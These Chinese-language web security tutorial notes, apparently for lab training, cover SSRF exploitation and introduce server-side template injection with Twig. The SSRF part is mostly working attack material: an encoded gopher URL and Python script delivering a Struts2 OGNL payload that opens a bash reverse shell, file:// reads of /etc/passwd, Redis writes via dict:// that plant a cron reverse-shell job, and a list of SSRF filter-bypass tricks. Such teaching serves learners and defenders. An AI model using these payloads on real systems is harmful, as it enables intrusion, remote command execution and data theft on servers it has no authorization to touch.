xxxxxxxxxx11http://192.168.173.88/?url=gopher://172.17.0.2:8080/_GET%2520/%2520HTTP/1.1%250D%250AHost:172.17.0.2:8080%250D%250AContent-Type:%25%32%35%25%37%62%25%32%38%25%32%33%25%35%66%25%33%64%25%32%37%25%36%64%25%37%35%25%36%63%25%37%34%25%36%39%25%37%30%25%36%31%25%37%32%25%37%34%25%32%66%25%36%36%25%36%66%25%37%32%25%36%64%25%32%64%25%36%34%25%36%31%25%37%34%25%36%31%25%32%37%25%32%39%25%32%65%25%32%38%25%32%33%25%36%34%25%36%64%25%33%64%25%34%30%25%36%66%25%36%37%25%36%65%25%36%63%25%32%65%25%34%66%25%36%37%25%36%65%25%36%63%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%37%38%25%37%34%25%34%30%25%34%34%25%34%35%25%34%36%25%34%31%25%35%35%25%34%63%25%35%34%25%35%66%25%34%64%25%34%35%25%34%64%25%34%32%25%34%35%25%35%32%25%35%66%25%34%31%25%34%33%25%34%33%25%34%35%25%35%33%25%35%33%25%32%39%25%32%65%25%32%38%25%32%33%25%35%66%25%36%64%25%36%35%25%36%64%25%36%32%25%36%35%25%37%32%25%34%31%25%36%33%25%36%33%25%36%35%25%37%33%25%37%33%25%33%66%25%32%38%25%32%33%25%35%66%25%36%64%25%36%35%25%36%64%25%36%32%25%36%35%25%37%32%25%34%31%25%36%33%25%36%33%25%36%35%25%37%33%25%37%33%25%33%64%25%32%33%25%36%34%25%36%64%25%32%39%25%33%61%25%32%38%25%32%38%25%32%33%25%36%33%25%36%66%25%36%65%25%37%34%25%36%31%25%36%39%25%36%65%25%36%35%25%37%32%25%33%64%25%32%33%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%37%38%25%37%34%25%35%62%25%32%37%25%36%33%25%36%66%25%36%64%25%32%65%25%36%66%25%37%30%25%36%35%25%36%65%25%37%33%25%37%39%25%36%64%25%37%30%25%36%38%25%36%66%25%36%65%25%37%39%25%32%65%25%37%38%25%37%37%25%36%66%25%37%32%25%36%62%25%33%32%25%32%65%25%34%31%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%37%38%25%37%34%25%32%65%25%36%33%25%36%66%25%36%65%25%37%34%25%36%31%25%36%39%25%36%65%25%36%35%25%37%32%25%32%37%25%35%64%25%32%39%25%32%65%25%32%38%25%32%33%25%36%66%25%36%37%25%36%65%25%36%63%25%35%35%25%37%34%25%36%39%25%36%63%25%33%64%25%32%33%25%36%33%25%36%66%25%36%65%25%37%34%25%36%31%25%36%39%25%36%65%25%36%35%25%37%32%25%32%65%25%36%37%25%36%35%25%37%34%25%34%39%25%36%65%25%37%33%25%37%34%25%36%31%25%36%65%25%36%33%25%36%35%25%32%38%25%34%30%25%36%33%25%36%66%25%36%64%25%32%65%25%36%66%25%37%30%25%36%35%25%36%65%25%37%33%25%37%39%25%36%64%25%37%30%25%36%38%25%36%66%25%36%65%25%37%39%25%32%65%25%37%38%25%37%37%25%36%66%25%37%32%25%36%62%25%33%32%25%32%65%25%36%66%25%36%37%25%36%65%25%36%63%25%32%65%25%34%66%25%36%37%25%36%65%25%36%63%25%35%35%25%37%34%25%36%39%25%36%63%25%34%30%25%36%33%25%36%63%25%36%31%25%37%33%25%37%33%25%32%39%25%32%39%25%32%65%25%32%38%25%32%33%25%36%66%25%36%37%25%36%65%25%36%63%25%35%35%25%37%34%25%36%39%25%36%63%25%32%65%25%36%37%25%36%35%25%37%34%25%34%35%25%37%38%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%36%34%25%35%30%25%36%31%25%36%33%25%36%62%25%36%31%25%36%37%25%36%35%25%34%65%25%36%31%25%36%64%25%36%35%25%37%33%25%32%38%25%32%39%25%32%65%25%36%33%25%36%63%25%36%35%25%36%31%25%37%32%25%32%38%25%32%39%25%32%39%25%32%65%25%32%38%25%32%33%25%36%66%25%36%37%25%36%65%25%36%63%25%35%35%25%37%34%25%36%39%25%36%63%25%32%65%25%36%37%25%36%35%25%37%34%25%34%35%25%37%38%25%36%33%25%36%63%25%37%35%25%36%34%25%36%35%25%36%34%25%34%33%25%36%63%25%36%31%25%37%33%25%37%33%25%36%35%25%37%33%25%32%38%25%32%39%25%32%65%25%36%33%25%36%63%25%36%35%25%36%31%25%37%32%25%32%38%25%32%39%25%32%39%25%32%65%25%32%38%25%32%33%25%36%33%25%36%66%25%36%65%25%37%34%25%36%35%25%37%38%25%37%34%25%32%65%25%37%33%25%36%35%25%37%34%25%34%64%25%36%35%25%36%64%25%36%32%25%36%35%25%37%32%25%34%31%25%36%33%25%36%33%25%36%35%25%37%33%25%37%33%25%32%38%25%32%33%25%36%34%25%36%64%25%32%39%25%32%39%25%32%39%25%32%39%25%32%65%25%32%38%25%32%33%25%36%33%25%36%64%25%36%34%25%33%64%25%32%37%25%36%32%25%36%31%25%37%33%25%36%38%25%32%30%25%32%64%25%36%39%25%32%30%25%33%65%25%32%36%25%32%30%25%32%66%25%36%34%25%36%35%25%37%36%25%32%66%25%37%34%25%36%33%25%37%30%25%32%66%25%33%31%25%33%39%25%33%32%25%32%65%25%33%31%25%33%36%25%33%38%25%32%65%25%33%31%25%33%37%25%33%33%25%32%65%25%33%31%25%33%32%25%33%39%25%32%66%25%33%32%25%33%33%25%33%33%25%33%33%25%32%30%25%33%30%25%33%65%25%32%36%25%33%31%25%32%37%25%32%39%25%32%65%25%32%38%25%32%33%25%36%39%25%37%33%25%37%37%25%36%39%25%36%65%25%33%64%25%32%38%25%34%30%25%36%61%25%36%31%25%37%36%25%36%31%25%32%65%25%36%63%25%36%31%25%36%65%25%36%37%25%32%65%25%35%33%25%37%39%25%37%33%25%37%34%25%36%35%25%36%64%25%34%30%25%36%37%25%36%35%25%37%34%25%35%30%25%37%32%25%36%66%25%37%30%25%36%35%25%37%32%25%37%34%25%37%39%25%32%38%25%32%37%25%36%66%25%37%33%25%32%65%25%36%65%25%36%31%25%36%64%25%36%35%25%32%37%25%32%39%25%32%65%25%37%34%25%36%66%25%34%63%25%36%66%25%37%37%25%36%35%25%37%32%25%34%33%25%36%31%25%37%33%25%36%35%25%32%38%25%32%39%25%32%65%25%36%33%25%36%66%25%36%65%25%37%34%25%36%31%25%36%39%25%36%65%25%37%33%25%32%38%25%32%37%25%37%37%25%36%39%25%36%65%25%32%37%25%32%39%25%32%39%25%32%39%25%32%65%25%32%38%25%32%33%25%36%33%25%36%64%25%36%34%25%37%33%25%33%64%25%32%38%25%32%33%25%36%39%25%37%33%25%37%37%25%36%39%25%36%65%25%33%66%25%37%62%25%32%37%25%36%33%25%36%64%25%36%34%25%32%65%25%36%35%25%37%38%25%36%35%25%32%37%25%32%63%25%32%37%25%32%66%25%36%33%25%32%37%25%32%63%25%32%33%25%36%33%25%36%64%25%36%34%25%37%64%25%33%61%25%37%62%25%32%37%25%32%66%25%36%32%25%36%39%25%36%65%25%32%66%25%36%32%25%36%31%25%37%33%25%36%38%25%32%37%25%32%63%25%32%37%25%32%64%25%36%33%25%32%37%25%32%63%25%32%33%25%36%33%25%36%64%25%36%34%25%37%64%25%32%39%25%32%39%25%32%65%25%32%38%25%32%33%25%37%30%25%33%64%25%36%65%25%36%35%25%37%37%25%32%30%25%36%61%25%36%31%25%37%36%25%36%31%25%32%65%25%36%63%25%36%31%25%36%65%25%36%37%25%32%65%25%35%30%25%37%32%25%36%66%25%36%33%25%36%35%25%37%33%25%37%33%25%34%32%25%37%35%25%36%39%25%36%63%25%36%34%25%36%35%25%37%32%25%32%38%25%32%33%25%36%33%25%36%64%25%36%34%25%37%33%25%32%39%25%32%39%25%32%65%25%32%38%25%32%33%25%37%30%25%32%65%25%37%32%25%36%35%25%36%34%25%36%39%25%37%32%25%36%35%25%36%33%25%37%34%25%34%35%25%37%32%25%37%32%25%36%66%25%37%32%25%35%33%25%37%34%25%37%32%25%36%35%25%36%31%25%36%64%25%32%38%25%37%34%25%37%32%25%37%35%25%36%35%25%32%39%25%32%39%25%32%65%25%32%38%25%32%33%25%37%30%25%37%32%25%36%66%25%36%33%25%36%35%25%37%33%25%37%33%25%33%64%25%32%33%25%37%30%25%32%65%25%37%33%25%37%34%25%36%31%25%37%32%25%37%34%25%32%38%25%32%39%25%32%39%25%32%65%25%32%38%25%32%33%25%37%32%25%36%66%25%37%33%25%33%64%25%32%38%25%34%30%25%36%66%25%37%32%25%36%37%25%32%65%25%36%31%25%37%30%25%36%31%25%36%33%25%36%38%25%36%35%25%32%65%25%37%33%25%37%34%25%37%32%25%37%35%25%37%34%25%37%33%25%33%32%25%32%65%25%35%33%25%36%35%25%37%32%25%37%36%25%36%63%25%36%35%25%37%34%25%34%31%25%36%33%25%37%34%25%36%39%25%36%66%25%36%65%25%34%33%25%36%66%25%36%65%25%37%34%25%36%35%25%37%38%25%37%34%25%34%30%25%36%37%25%36%35%25%37%34%25%35%32%25%36%35%25%37%33%25%37%30%25%36%66%25%36%65%25%37%33%25%36%35%25%32%38%25%32%39%25%32%65%25%36%37%25%36%35%25%37%34%25%34%66%25%37%35%25%37%34%25%37%30%25%37%35%25%37%34%25%35%33%25%37%34%25%37%32%25%36%35%25%36%31%25%36%64%25%32%38%25%32%39%25%32%39%25%32%39%25%32%65%25%32%38%25%34%30%25%36%66%25%37%32%25%36%37%25%32%65%25%36%31%25%37%30%25%36%31%25%36%33%25%36%38%25%36%35%25%32%65%25%36%33%25%36%66%25%36%64%25%36%64%25%36%66%25%36%65%25%37%33%25%32%65%25%36%39%25%36%66%25%32%65%25%34%39%25%34%66%25%35%35%25%37%34%25%36%39%25%36%63%25%37%33%25%34%30%25%36%33%25%36%66%25%37%30%25%37%39%25%32%38%25%32%33%25%37%30%25%37%32%25%36%66%25%36%33%25%36%35%25%37%33%25%37%33%25%32%65%25%36%37%25%36%35%25%37%34%25%34%39%25%36%65%25%37%30%25%37%35%25%37%34%25%35%33%25%37%34%25%37%32%25%36%35%25%36%31%25%36%64%25%32%38%25%32%39%25%32%63%25%32%33%25%37%32%25%36%66%25%37%33%25%32%39%25%32%39%25%32%65%25%32%38%25%32%33%25%37%32%25%36%66%25%37%33%25%32%65%25%36%36%25%36%63%25%37%35%25%37%33%25%36%38%25%32%38%25%32%39%25%32%39%25%37%64%25%30%44%25%30%41
访问之后成功获得nc反弹shell
为了方便大家二次编码,此处提供python3脚本工具
xxxxxxxxxx591
2#!/usr/bin/env python3
4
5# -*- coding: utf-8 -*-6
7import urllib.parse, urllib.request8
9url = "http://192.168.173.88/?url="10
11# 可以被外部访问的地址12
13header = """gopher://172.17.0.2:8080/_GET / HTTP/1.114Host:172.17.0.2:808015Content-Type:"""16
17# 地址是内部的靶机地址18
19cmd = "bash -i >& /dev/tcp/192.168.173.129/2333 0>&1"20
21# nc的地址22
23content_type = """%{(#_='multipart/form-data').(#dm=@ognl.OgnlContext@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='"""+cmd+"""').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}"""24
25# nc的地址需要改好26
27header_encoder = ""28content_type_encoder = ""29content_type_encoder_2 = ""30url_char = [" "]31nr = "\r\n"32
33# 编码请求头34
35for single_char in header:36 if single_char in url_char:37 header_encoder += urllib.parse.quote(urllib.parse.quote(single_char,'utf-8'),'utf-8')38 else:39 header_encoder += single_char40
41header_encoder = header_encoder.replace("\n",urllib.parse.quote(urllib.parse.quote(nr,'utf-8'),'utf-8'))42
43# 编码content-type,第一次编码44
45for single_char in content_type:46 # 先转为ASCII,在转十六进制即可变为URL编码47 content_type_encoder += str(hex(ord(single_char)))48content_type_encoder = content_type_encoder.replace("0x","%") + urllib.parse.quote(nr,'utf-8')49
50# 编码content-type,第二次编码51
52for single_char in content_type_encoder:53 # 先转为ASCII,在转十六进制即可变为URL编码54 content_type_encoder_2 += str(hex(ord(single_char)))55content_type_encoder_2 = content_type_encoder_2.replace("0x","%")56exp = url + header_encoder + content_type_encoder_257print(exp)58request = urllib.request.urlopen(exp).read()59print(request)File协议是一种用于访问本地文件系统的URI协议,它允许通过URI来直接引用文件系统中的文件。 file协议可以查看本地的文件,如果存在ssrf漏洞的主机挂载了一些内网的资源,比如samba等,就可以借助ssrf漏洞访问内网的资源了 File协议的格式通常如下所示:
xxxxxxxxxx11fifile:///path/to/file
其中file://表示使用File协议,/path/to/file表示文件在文件系统中的路径。在Windows系统上,路径可能包含驱动器号,例如:
xxxxxxxxxx11file:///C:/path/to/file
使用File协议,可以在Web浏览器或其他支持URI协议的应用程序中打开本地文件。例如,在Web浏览器中输入文件的File URI,可以在浏览器中打开该文件。
xxxxxxxxxx11curl -v 'file:///etc/passwd'
如下的url就可以访问ssrf漏洞的主机本地的文件
xxxxxxxxxx11curl http://192.168.173.88/?url=file:///etc/passwd
Dict协议是一种用于在互联网上查询字典和词典的URI 协议。它通常用于查询特定词汇的定义、拼写或同义词等相关信息。Dict 协议使用 TCP 端口 2628 进行通信。 Dict协议的URI格式通常如下所示:
xxxxxxxxxx11dict://<hostname>:<port>/<database>/<strategy>:<word>
其中
xxxxxxxxxx51<?php2$url = $_GET['url'];3$curlobj = curl_init($url);4echo curl_exec($curlobj);5?>可以对内网IP地址扫描,在发现对应的端口之后,使用dict协议可以获取目标端口指纹 SSH服务的端口指纹
xxxxxxxxxx11http://192.168.173.88/?url=dict://10.3.0.11:22
redis的端口指纹 redis是一种键值对数据库,在开发中常用作缓存数据库,缓存中会出现大量的敏感信息,比如用户登录的session,应用的api key等等,所以redis数据库发生数据泄漏,会导致很严重的后果。企业的redis数据库都会保护在内网中,不会对外开放的。
xxxxxxxxxx51docker run -d --name redis registry.cn-hangzhou.aliyuncs.com/eagleslab/service:redis2
3# 查看容器的IP地址4
5docker inspect -f '{{range .NetworkSettings.Networks}}{{.IPAddress}}{{end}}' redis访问如下地址,就可以探测redis端口指纹了
xxxxxxxxxx11http://192.168.173.88/?url=dict://172.17.0.3:6379可以使用dict协议执行命令,例如可以获取redis的变量
xxxxxxxxxx71docker exec -it redis bash2root@88bf4f00b6db:/data# redis-cli3
4# 先在redis中配置一个变量5
6127.0.0.1:6379> set name <h1>eagle</h1>7OK查询变量
xxxxxxxxxx11http://192.168.173.88/?url=dict://172.17.0.3:6379/get:name通过dict协议利用redis的未授权访问反弹shell 开启nc监听
xxxxxxxxxx11nc -lp 2333扩展知识
set dir和set dbfilename来改变这个RDB文件的存放位置。<?php phpinfo();?>,保存位置被我们改成了/var/www/html/tz.php那么就可以利用成功了。/etc/contab文件中写的命令会按照contab表达式的时间周期自动执行。redis可以使用如下方式查看提交的内容
xxxxxxxxxx201redis-cli2
3# 进入redis命令行模式4
5monitor6
7# 可以查看提交的内容,已经是否提交成功8
9keys *10
11# 查看所有的key12
13get name14
15# 查看name的值16
17config get dir18
19# 查看config中dir的值20
先访问如下地址,写入一个键值对mars:"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.173.129/2333 0>&1\n\n"
xxxxxxxxxx712# 实测payload中如果带有空格,就无法成功,但是可以转换为16进制来绕过345# 这里使用浏览器访问可能会有语法错误提示,以下面是否写入成功为准67http://192.168.173.88/?url=dict://172.17.0.3:6379/set:mars:"\n\n\x2a/1\x20\x2a\x20\x2a\x20\x2a\x20\x2a\x20/bin/bash\x20\x2di\x20\x3e\x26\x20/dev/tcp/192.168.173.129/2333\x200\x3e\x261\n\n"
可以在redis容器里面查看是否写入成功
xxxxxxxxxx31root@88bf4f00b6db:/data# redis-cli2127.0.0.1:6379> get mars3"\n\n*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.173.129/2333 0>&1\n\n"下面修改dir和dbfilename两个值
xxxxxxxxxx181http://192.168.173.88/?url=dict://172.17.0.3:6379/config:set:dir:/etc/2
3# 注意容器中/etc目录下并没有写入权限,此处可以使用/tmp来做测试4
5
6# http://192.168.173.88/?url=dict://172.17.0.3:6379/config:set:dir:/tmp/7
8# 查看一下redis中是否更换结束9
10127.0.0.1:6379> config get dir111) "dir"122) "/etc"13
14http://192.168.173.88/?url=dict://172.17.0.3:6379/config:set:dbfilename:crontab15
16127.0.0.1:6379> config get dbfilename171) "dbfilename"182) "crontab"然后使用RDB数据保存下来的命令
xxxxxxxxxx101http://192.168.173.88/?url=dict://172.17.0.3:6379/bgsave2
3# 查看一下容器中的/tmp目录下是否成功看到payload4
5root@e8d143487e83:/data# cat /tmp/crontab6mars@B7
8*/1 * * * * /bin/bash -i >& /dev/tcp/192.168.173.129/2333 0>&19
10�3���b��可以对外网、服务器所在内网、本地进行端口扫描,获取一些服务的banner信息 攻击运行在内网或本地的应用程序(比如溢出) 对内网WEB应用进行指纹识别,通过访问默认文件实现 攻击内外网的web应用,主要是使用GET参数就可以实现的攻击(比如Struts2,sqli等) 利用file协议读取本地文件等
能够对外发起网络请求的地方,就可能存在SSRF漏洞 数据库内置功能(Oracle、MongoDB、MSSQL、Postgres、CouchDB) 文件处理、编码处理、属性信息处理(ffmpeg、ImageMagic、DOCX、PDF、XML) 未公开的api实现及调用URL的功能 社交分享功能:获取超链接的标题等内容进行显示 转码服务:通过URL地址把原地址的网页内容调优使其适合手机屏幕浏览 在线翻译:给网址翻译对应网页的内容 图片加载/下载:例如富文本编辑器中的点击下载图片到本地;通过URL地址加载或下载图片 图片/文章收藏功能:主要其会取URL地址中title以及文本的内容作为显示以求一个好的用户体验 云服务厂商:它会远程执行一些命令来判断网站是否存活等,所以如果可以捕获相应的信息,就可以进行ssrf测试 网站采集,网站抓取的地方:一些网站会针对你输入的url进行一些信息采集工作 数据库内置功能:数据库的比如mongodb的copyDatabase函数 邮件系统:比如接收邮件服务器地址 编码处理, 属性信息处理,文件处理:比如ffpmg,ImageMagick,docx,pdf,xml处理器等 未公开的api实现以及其他扩展调用URL的功能:可以利用google语法加上这些关键字去寻找SSRF漏洞。 一些的url中的关键字:share、wap、url、link、src、source、target、u、3g、display、sourceURl、imageURL、domain……
xxxxxxxxxx21http://d19.s.iproute.cn/vul/ssrf/ssrf_curl.php?2url=http://d19.s.iproute.cn/vul/ssrf/ssrf_info/info1.php我们可以看到这个链接有一个URL参数, 单独拿出来访问
可以看到有这个对应内容, 如果我们把这个URL参数改成 https://www.baidu.com/可以看到内容发生了变化
那我们就可以利用这个来进行利用
xxxxxxxxxx21http://d19.s.iproute.cn/vul/ssrf/ssrf_curl.php?2url=file:///C:\windows\win.ini可以看到文件内容被显示到网页上
如果端口开放就会把对应的界面显示到网页中,如果没有开放就会转圈需要一直在链接,并且我们可以使用F12查看有无新增的前端代码 端口未开放
xxxxxxxxxx11http://d19.s.iproute.cn/vul/ssrf/ssrf_curl.php?url=http://10.1.10.10:22xxxxxxxxxx121<?php2if(isset($_GET['url']) && $_GET['url'] != null){3 // 接收前端 URL 没问题 ,但是要做好过滤 ,如果不做过滤 ,就会导致 SSRF4 $URL = $_GET['url'];5 $CH = curl_init($URL);6 curl_setopt($CH, CURLOPT_HEADER, FALSE);7 curl_setopt($CH, CURLOPT_SSL_VERIFYPEER, FALSE);8 $RES = curl_exec($CH);9 curl_close($CH) ;10 echo $RES;11}12?>前端传进来的url被后台使用curl_exec()进行了请求,然后将请求的结果又返回给了前端。 除了http/https外,curl还支持一些其他的协议curl --version可以查看其支持的协议,curl支持很多协议:
xxxxxxxxxx21dict file ftp ftps gopher gophers http https imap imaps ldap ldaps mqtt pop3 pop3s2rtmp rtsp scp sftp smb smbs smtp smtps telnet tftp
xxxxxxxxxx21http://d19.s.iproute.cn/vul/ssrf/ssrf_fgc.php?2file=http://d19.s.iproute.cn/vul/ssrf/ssrf_info/info2.php
读取当前文件
xxxxxxxxxx21http://d19.s.iproute.cn/vul/ssrf/ssrf_fgc.php?2file=php://filter/read=convert.base64-encode/resource=ssrf_fgc.php
xxxxxxxxxx21http://127.0.0.1:802http://localhost:22
xxxxxxxxxx41http://example.com@127.0.0.123# 这里的example.com可以任意替换,4
xxxxxxxxxx41http://127.0.0.1可以变为http://suo.im/5UHEvD23# 转换地址you很多,可以采用http://tool.chinaz.com/tools/dwz.aspx4
xxxxxxxxxx21http://127.0.0.1.xip.io/2http://www.margin.com.127.0.0.1.xip.io/
xxxxxxxxxx111利用Enclosed alphanumerics2ⓔⓧⓐⓜⓟⓛⓔ.ⓒⓞⓜ >>> example.com3List:4① ② ③ ④ ⑤ ⑥ ⑦ ⑧ ⑨ ⑩ ⑪ ⑫ ⑬ ⑭ ⑮ ⑯ ⑰ ⑱ ⑲ ⑳5⑴ ⑵ ⑶ ⑷ ⑸ ⑹ ⑺ ⑻ ⑼ ⑽ ⑾ ⑿ ⒀ ⒁ ⒂ ⒃ ⒄ ⒅ ⒆ ⒇6⒈ ⒉ ⒊ ⒋ ⒌ ⒍ ⒎ ⒏ ⒐ ⒑ ⒒ ⒓ ⒔ ⒕ ⒖ ⒗ ⒘ ⒙ ⒚ ⒛7⒜ ⒝ ⒞ ⒟ ⒠ ⒡ ⒢ ⒣ ⒤ ⒥ ⒦ ⒧ ⒨ ⒩ ⒪ ⒫ ⒬ ⒭ ⒮ ⒯ ⒰ ⒱ ⒲ ⒳ ⒴ ⒵8Ⓐ Ⓑ Ⓒ Ⓓ Ⓔ Ⓕ Ⓖ Ⓗ Ⓘ Ⓙ Ⓚ Ⓛ Ⓜ Ⓝ Ⓞ Ⓟ Ⓠ Ⓡ Ⓢ Ⓣ Ⓤ Ⓥ Ⓦ Ⓧ Ⓨ Ⓩ9ⓐ ⓑ ⓒ ⓓ ⓔ ⓕ ⓖ ⓗ ⓘ ⓙ ⓚ ⓛ ⓜ ⓝ ⓞ ⓟ ⓠ ⓡ ⓢ ⓣ ⓤ ⓥ ⓦ ⓧ ⓨ ⓩ10⓪ ⓫ ⓬ ⓭ ⓮ ⓯ ⓰ ⓱ ⓲ ⓳ ⓴11⓵ ⓶ ⓷ ⓸ ⓹ ⓺ ⓻ ⓼ ⓽ ⓾ ⓿
xxxxxxxxxx11127.0.0.1 变为127。0。0。1
xxxxxxxxxx51(1)、8进制格式:0177.0.0.12(2)、16进制格式:0x7F.0.0.13(3)、10进制整数格式:2130706433(转16进制,在转10进制)4(4)、16进制整数格式:0x7F0000015(5)、还有一种特殊的省略模式,例如127.0.0.1这个IP可以写成127.1
xxxxxxxxxx131互联网上有很多解析到127.0.0.1的域名,例如:23safe.taobao.com4114.taobao.com5ecd.tencent.com6wifi.aliyun.com7一个专门解析到127.0.0.1的域名:localtest.me,也可以使用子域名。例如:89localtest.me10www.localtest.me11test.localtest.me12a.b.c.localtest.me131234.localtest.me
xxxxxxxxxx111Dict://2dict://<user-auth>@<host>:<port>/d:<word>3ssrf.php?url=dict://attacker:11111/4SFTP://5ssrf.php?url=sftp://example.com:11111/6TFTP://7ssrf.php?url=tftp://example.com:12346/TESTUDPPACKET8LDAP://9ssrf.php?url=ldap://localhost:11211/%0astats%0aquit10Gopher://11ssrf.php?url=gopher://127.0.0.1:25/xHELO%20localhost
xxxxxxxxxx41%0d->0x0d->\r 回车2%0a->0x0a->\n 换行3进行 HTTP 头部注入4example.com/?url=http://eval.com%0d%0aHOST:fuzz.com%0d%0a
有些服务没有考虑 IPv6 的情况,但是内网又支持 IPv6 ,则可以使用 IPv6 的本地 IP 如 [::] 0000::1 或IPv6 的内网域名来绕过过滤。
模板引擎可以让(网站)程序实现界面与数据分离,业务代码与逻辑代码的分离,这大大提升了开发效率,良好的设计也使得代码重用变得更加容易。与此同时,它也扩展了攻击面。除了常规的 XSS 外,注入到模板中的代码还有可能引发 RCE(远程代码执行)。通常来说,这类问题会在博客,CMS,wiki 中产生。虽然模板引擎会提供沙箱机制,依然有许多手段绕过它。 模板引擎用于使用动态数据呈现内容。此上下文数据通常由用户控制并由模板进行格式化,以生成网页、电子邮件等。 模板引擎通过使用代码构造(如条件语句、循环等)处理上下文数据,允许在模板中使用强大的语言表达式,以呈现动态内容。如果攻击者能够控制要呈现的模板,则他们将能够注入可暴露上下文数据,甚至在服务器上运行任意命令的表达式。
SSTI就是服务器端模板注入(Server-Side Template Injection) 当前使用的一些框架,比如python的flask,php的tp,java的spring等一般都采用成熟的的MVC的模式,用户的输入先进入Controller控制器,然后根据请求类型和请求的指令发送给对应Model业务模型进行业务逻辑判断,数据库存取,最后把结果返回给View视图层,经过模板渲染展示给用户。 漏洞成因就是服务端接收了用户的恶意输入以后,未经任何处理就将其作为 Web 应用模板内容的一部分,模板引擎在进行目标编译渲染的过程中,执行了用户插入的可以破坏模板的语句,因而可能导致了敏感信息泄露、代码执行、GetShell 等问题。其影响范围主要取决于模版引擎的复杂性。 凡是使用模板的地方都可能会出现 SSTI 的问题,SSTI 不属于任何一种语言,沙盒绕过也不是,沙盒绕过只是由于模板引擎发现了很大的安全漏洞,然后模板引擎设计出来的一种防护机制,不允许使用没有定义或者声明的模块,这适用于所有的模板引擎。 凡是使用模板的网站,基本都会存在SSTI,只是能否控制其传参而已。
SSTI(server-side template injection)为服务端模板注入攻击,它主要是由于框架的不规范使用而导致的。主要为python的一些框架,如 jinja2 mako tornado django flask、PHP框架smarty twig thinkphp、java框架jade velocity spring等等使用了渲染函数时,由于代码不规范或信任了用户输入而导致了服务端模板注入,模板渲染其实并没有漏洞,主要是程序员对代码不规范不严谨造成了模板注入漏洞,造成模板可控。注入的原理可以这样描述:当用户的输入数据没有被合理的处理控制时,就有可能数据插入了程序段中变成了程序的一部分,从而改变了程序的执行逻辑。 各框架模板结构如下图所示:
Twig 是一个灵活、快速、安全的 PHP 模板语言。它将模板编译成经过优化的原始 PHP 代码。Twig 拥有一个 Sandbox 模型来检测不可信的模板代码。Twig 由一个灵活的词法分析器和语法分析器组成,可以让开发人员定义自己的标签,过滤器并创建自己的 DSL。
这里我们的 Twig 版本是 Twig 3.x,其需要的 PHP 版本为 PHP 7.x 建议通过 Composer 安装 Twig:
xxxxxxxxxx41docker run -d -p 8080:80 -v /root/wwwtest/:/app/public/ --name lnmp74 fbraz3/lnmp:7.42docker exec -it lnmp74 bash3[root@c356af4b5b68 /]# cd /app/public4[root@c356af4b5b68 www]# composer require "twig/twig:^3.0"安装之后可以直接使用 Twig 的 PHP API 进行调用:
xxxxxxxxxx151<?php2include_once(__DIR__.'/vendor/autoload.php');3// 导入twig框架4
5$loader = new \Twig\Loader\ArrayLoader([6 'index' => 'Hello {{ name }}!',7]);8// ArrayLoader是通过数组传入模版9
10$twig = new \Twig\Environment($loader);11// 创建加载好模版的对象12
13echo $twig->render('index', ['name' => 'whoami']);14// 渲染模版15?>上述代码中,Twig 首先使用一个加载器 Twig_Loader_Array 来定位模板,然后使用一个环境变量 Twig_Environment 来存储配置信息。其中, render() 方法通过其第一个参数载入模板,并通过第二个参数中的变量来渲染模板。
由于模板文件通常存储在文件系统中,Twig 还附带了一个文件系统加载程序:
在网站根目录创建templates文件夹,并且写入index.html
xxxxxxxxxx1112<html lang="en">3<head>4 <meta charset="UTF-8">5 <meta name="viewport" content="width=device-width, initial-scale=1.0">6 <title>Document</title>7</head>8<body>9 <h1>welcome {{ name }}</h1>10</body>11</html>在php文件中写入
xxxxxxxxxx141<?php2include_once(__DIR__.'/vendor/autoload.php');3
4$loader = new \Twig\Loader\FilesystemLoader('./templates');5// 指定模版文件存放的目录6
7$twig = new \Twig\Environment($loader, [8 'cache' => './cache/views', // cache for template files9]);10// 指定存放模版缓存的文件夹,渲染后的文件将会临时放在这个地方11
12echo $twig->render('index.html', ['name' => 'whoami']);13// 渲染index.html文件14?>模板实际就是一个常规的文本文件,它可以生成任何基于文本的格式(HTML、XML、CSV、LaTeX等)。它没有特定的扩展名,.html、.xml、.twig 都行。 模板包含变量或表达,在评估编译模板时,这些带值的变量或表达式会被替换。还有一些控制模板逻辑的标签 tags。下面是一个非常简单的模板,它阐述了一些基础知识:
xxxxxxxxxx1612<html>3 <head>4 <title>My Webpage</title>5 </head>6 <body>7 <ul id="navigation">8 {% for item in navigation %}9 <li><a href="{{ item.href }}">{{ item.caption }}</a></li>10 {% endfor %}11 </ul>12
13 <h1>My Webpage</h1>14 {{ a_variable }}15 </body>16</html>调用此模版
xxxxxxxxxx221<?php2include_once(__DIR__.'/vendor/autoload.php');3
4$loader = new \Twig\Loader\FilesystemLoader('./templates');5// 指定模版文件存放的目录6
7$twig = new \Twig\Environment($loader, [8 'cache' => './cache/views', 9]);10// 指定存放模版缓存的文件夹,渲染后的文件将会临时放在这个地方11
12$navigation = [13 ['href' => 'http://www.baidu.com','caption' => '百度'],14 ['href' => 'http://www.qq.com','caption' => '腾讯']15];16$a_variable = "haha";17
18echo $twig->render('tags.twig',[19 'navigation' => $navigation,20 'a_variable' => $a_variable21]);22?>效果
有两种形式的分隔符:{% ... %} 和 {{ ... }}。前者用于执行语句,例如 for 循环,后者用于将表达式的结果输出到模板中。 需要注意的是twig会生产缓存文件,所以导致有时候模版的变化并不能直接看到效果,可以每次都让php先清理缓存,再渲染模版
xxxxxxxxxx361<?php2require_once __DIR__.'/vendor/autoload.php';3
